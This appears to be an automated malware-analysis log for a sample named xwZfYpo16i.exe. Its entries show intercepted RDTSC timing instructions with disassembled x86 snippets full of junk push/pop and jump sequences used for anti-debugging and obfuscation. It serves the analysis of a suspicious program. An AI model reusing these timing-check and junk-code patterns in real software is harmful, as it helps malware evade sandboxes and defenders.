Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54303AF second address: 54303C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BF4B2C364h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54303C7 second address: 54303CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54303CB second address: 54303EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6BF4B2C366h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54303EE second address: 54303F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54303F2 second address: 54303F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54303F8 second address: 54303FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54303FE second address: 5430402 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5430402 second address: 5430429 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F65168h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5430429 second address: 543042D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 543042D second address: 5430433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5430EF1 second address: 5430F05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BF4B2C360h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5430F05 second address: 5430F09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5470F3D second address: 5470F65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C369h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5470F65 second address: 5470F96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F65162h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6BF4F65167h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 545022C second address: 545024D instructions: 0x00000000 rdtsc 0x00000002 mov ax, 277Fh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 mov eax, dword ptr [ebp+08h] 0x0000000c jmp 00007F6BF4B2C35Eh 0x00000011 and dword ptr [eax], 00000000h 0x00000014 pushad 0x00000015 push esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 545024D second address: 545028F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 call 00007F6BF4F65168h 0x0000000a push esi 0x0000000b pop edi 0x0000000c pop eax 0x0000000d popad 0x0000000e and dword ptr [eax+04h], 00000000h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 call 00007F6BF4F65166h 0x0000001a pop eax 0x0000001b mov ch, bl 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 545028F second address: 5450295 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5450295 second address: 5450299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 543059A second address: 54305A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54305A0 second address: 54305A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54305A4 second address: 54305B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5440CA1 second address: 5440CB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F6515Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5440CB0 second address: 5440D2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6BF4B2C35Fh 0x00000009 sbb ecx, 25302EAEh 0x0000000f jmp 00007F6BF4B2C369h 0x00000014 popfd 0x00000015 mov dl, ah 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b pushad 0x0000001c mov esi, 39CEE62Fh 0x00000021 pushfd 0x00000022 jmp 00007F6BF4B2C364h 0x00000027 add ax, 6B58h 0x0000002c jmp 00007F6BF4B2C35Bh 0x00000031 popfd 0x00000032 popad 0x00000033 xchg eax, ebp 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F6BF4B2C365h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5440D2E second address: 5440D4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F65161h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e mov ecx, 2FC2DD39h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5440D4D second address: 5440D60 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 5B6B13F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ah, FAh 0x0000000b popad 0x0000000c pop ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5440D60 second address: 5440D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5440D64 second address: 5440D6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5450019 second address: 5450029 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BF4F6515Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5450029 second address: 545002D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 545002D second address: 5450056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F6BF4F65169h 0x00000011 mov di, ax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5470754 second address: 54707B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C361h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ecx 0x0000000c jmp 00007F6BF4B2C35Eh 0x00000011 mov eax, dword ptr [76FA65FCh] 0x00000016 jmp 00007F6BF4B2C360h 0x0000001b test eax, eax 0x0000001d pushad 0x0000001e mov cl, ACh 0x00000020 mov di, D8BEh 0x00000024 popad 0x00000025 je 00007F6C665DF523h 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F6BF4B2C360h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54707B1 second address: 5470873 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F6515Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, eax 0x0000000b jmp 00007F6BF4F65166h 0x00000010 xor eax, dword ptr [ebp+08h] 0x00000013 jmp 00007F6BF4F65161h 0x00000018 and ecx, 1Fh 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F6BF4F6515Ch 0x00000022 and cx, E348h 0x00000027 jmp 00007F6BF4F6515Bh 0x0000002c popfd 0x0000002d pushfd 0x0000002e jmp 00007F6BF4F65168h 0x00000033 jmp 00007F6BF4F65165h 0x00000038 popfd 0x00000039 popad 0x0000003a ror eax, cl 0x0000003c pushad 0x0000003d push ecx 0x0000003e push ebx 0x0000003f pop esi 0x00000040 pop edx 0x00000041 pushfd 0x00000042 jmp 00007F6BF4F65164h 0x00000047 xor si, 9338h 0x0000004c jmp 00007F6BF4F6515Bh 0x00000051 popfd 0x00000052 popad 0x00000053 leave 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5470873 second address: 5470879 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5470879 second address: 54708E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6BF4F6515Fh 0x00000009 jmp 00007F6BF4F65163h 0x0000000e popfd 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 retn 0004h 0x00000015 nop 0x00000016 mov esi, eax 0x00000018 lea eax, dword ptr [ebp-08h] 0x0000001b xor esi, dword ptr [00282014h] 0x00000021 push eax 0x00000022 push eax 0x00000023 push eax 0x00000024 lea eax, dword ptr [ebp-10h] 0x00000027 push eax 0x00000028 call 00007F6BFA19593Ch 0x0000002d push FFFFFFFEh 0x0000002f pushad 0x00000030 mov ebx, ecx 0x00000032 pushfd 0x00000033 jmp 00007F6BF4F65160h 0x00000038 sub cx, 8F28h 0x0000003d jmp 00007F6BF4F6515Bh 0x00000042 popfd 0x00000043 popad 0x00000044 pop eax 0x00000045 pushad 0x00000046 mov ecx, 24B6AB3Bh 0x0000004b mov bx, si 0x0000004e popad 0x0000004f ret 0x00000050 nop 0x00000051 push eax 0x00000052 call 00007F6BFA195969h 0x00000057 mov edi, edi 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54708E2 second address: 54708E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54708E6 second address: 54708EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54708EC second address: 547094A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C35Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007F6BF4B2C35Eh 0x00000010 pushfd 0x00000011 jmp 00007F6BF4B2C362h 0x00000016 sub si, D718h 0x0000001b jmp 00007F6BF4B2C35Bh 0x00000020 popfd 0x00000021 popad 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F6BF4B2C364h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 547094A second address: 5470950 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5470950 second address: 54709C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F6BF4B2C35Fh 0x00000010 and ax, B93Eh 0x00000015 jmp 00007F6BF4B2C369h 0x0000001a popfd 0x0000001b mov eax, 7BA2B487h 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 pushad 0x00000024 call 00007F6BF4B2C368h 0x00000029 mov dx, cx 0x0000002c pop esi 0x0000002d mov ecx, edi 0x0000002f popad 0x00000030 pop ebp 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F6BF4B2C364h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54709C8 second address: 54709CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5420007 second address: 542003C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, 3E846D20h 0x00000009 popad 0x0000000a push ebx 0x0000000b jmp 00007F6BF4B2C364h 0x00000010 mov dword ptr [esp], ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 call 00007F6BF4B2C35Dh 0x0000001b pop ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 542003C second address: 5420041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5420041 second address: 5420048 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5420048 second address: 5420056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5420056 second address: 5420068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BF4B2C35Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5420068 second address: 54200A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a and esp, FFFFFFF8h 0x0000000d jmp 00007F6BF4F65169h 0x00000012 xchg eax, ecx 0x00000013 pushad 0x00000014 jmp 00007F6BF4F6515Ch 0x00000019 popad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54200A4 second address: 54200AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54200AA second address: 54200F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F65162h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007F6BF4F65160h 0x0000000f xchg eax, ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 call 00007F6BF4F6515Dh 0x00000018 pop ecx 0x00000019 call 00007F6BF4F65161h 0x0000001e pop ecx 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54200F6 second address: 5420119 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C35Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6BF4B2C35Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5420119 second address: 54201E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6BF4F65161h 0x00000009 add eax, 75A901C6h 0x0000000f jmp 00007F6BF4F65161h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebx 0x00000019 pushad 0x0000001a jmp 00007F6BF4F65163h 0x0000001f mov edi, eax 0x00000021 popad 0x00000022 mov ebx, dword ptr [ebp+10h] 0x00000025 pushad 0x00000026 call 00007F6BF4F65160h 0x0000002b pushfd 0x0000002c jmp 00007F6BF4F65162h 0x00000031 sbb ecx, 2D5977F8h 0x00000037 jmp 00007F6BF4F6515Bh 0x0000003c popfd 0x0000003d pop ecx 0x0000003e call 00007F6BF4F65169h 0x00000043 mov bh, ch 0x00000045 pop ebx 0x00000046 popad 0x00000047 xchg eax, esi 0x00000048 jmp 00007F6BF4F65168h 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F6BF4F6515Eh 0x00000055 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54201E2 second address: 542026B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C35Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b push esi 0x0000000c mov bh, FFh 0x0000000e pop ecx 0x0000000f popad 0x00000010 mov esi, dword ptr [ebp+08h] 0x00000013 pushad 0x00000014 push eax 0x00000015 pushfd 0x00000016 jmp 00007F6BF4B2C35Bh 0x0000001b sub cx, 33DEh 0x00000020 jmp 00007F6BF4B2C369h 0x00000025 popfd 0x00000026 pop ecx 0x00000027 mov cl, dh 0x00000029 popad 0x0000002a xchg eax, edi 0x0000002b pushad 0x0000002c mov ecx, 14BCE8B5h 0x00000031 pushad 0x00000032 call 00007F6BF4B2C360h 0x00000037 pop ecx 0x00000038 mov ecx, edi 0x0000003a popad 0x0000003b popad 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 call 00007F6BF4B2C369h 0x00000045 pop esi 0x00000046 movsx edi, cx 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 542026B second address: 5420285 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BF4F65166h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5420285 second address: 5420297 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov di, si 0x0000000f push esi 0x00000010 pop edx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5420297 second address: 54202D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F65161h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007F6BF4F6515Eh 0x00000010 je 00007F6C66A634AFh 0x00000016 pushad 0x00000017 push ecx 0x00000018 push edx 0x00000019 pop eax 0x0000001a pop edi 0x0000001b popad 0x0000001c cmp dword ptr [esi+08h], DDEEDDEEh 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54202D5 second address: 54202D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54202D9 second address: 54202DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54202DD second address: 54202E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54202E3 second address: 54202E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54202E9 second address: 542030F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F6C6662A690h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F6BF4B2C364h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 542030F second address: 5420315 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5420315 second address: 5420326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BF4B2C35Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5420326 second address: 5420374 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F65161h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [esi+44h] 0x0000000e pushad 0x0000000f mov esi, 4A9DB153h 0x00000014 mov ecx, 57C80FAFh 0x00000019 popad 0x0000001a or edx, dword ptr [ebp+0Ch] 0x0000001d pushad 0x0000001e jmp 00007F6BF4F65167h 0x00000023 popad 0x00000024 test edx, 61000000h 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5420374 second address: 542037A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 542037A second address: 5420380 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5420380 second address: 5420384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5420384 second address: 54203BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F65164h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F6C66A63440h 0x00000011 jmp 00007F6BF4F65160h 0x00000016 test byte ptr [esi+48h], 00000001h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54203BE second address: 54203C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54203C2 second address: 54203DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F65169h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5410738 second address: 5410749 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C35Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5410749 second address: 541077B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F65161h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6BF4F65168h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 541077B second address: 5410781 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5410781 second address: 54107C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F6515Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov esi, edx 0x0000000d jmp 00007F6BF4F6515Dh 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 pushad 0x00000015 pushad 0x00000016 call 00007F6BF4F6515Ah 0x0000001b pop ecx 0x0000001c mov dx, E9B6h 0x00000020 popad 0x00000021 push ebx 0x00000022 mov ebx, eax 0x00000024 pop eax 0x00000025 popad 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
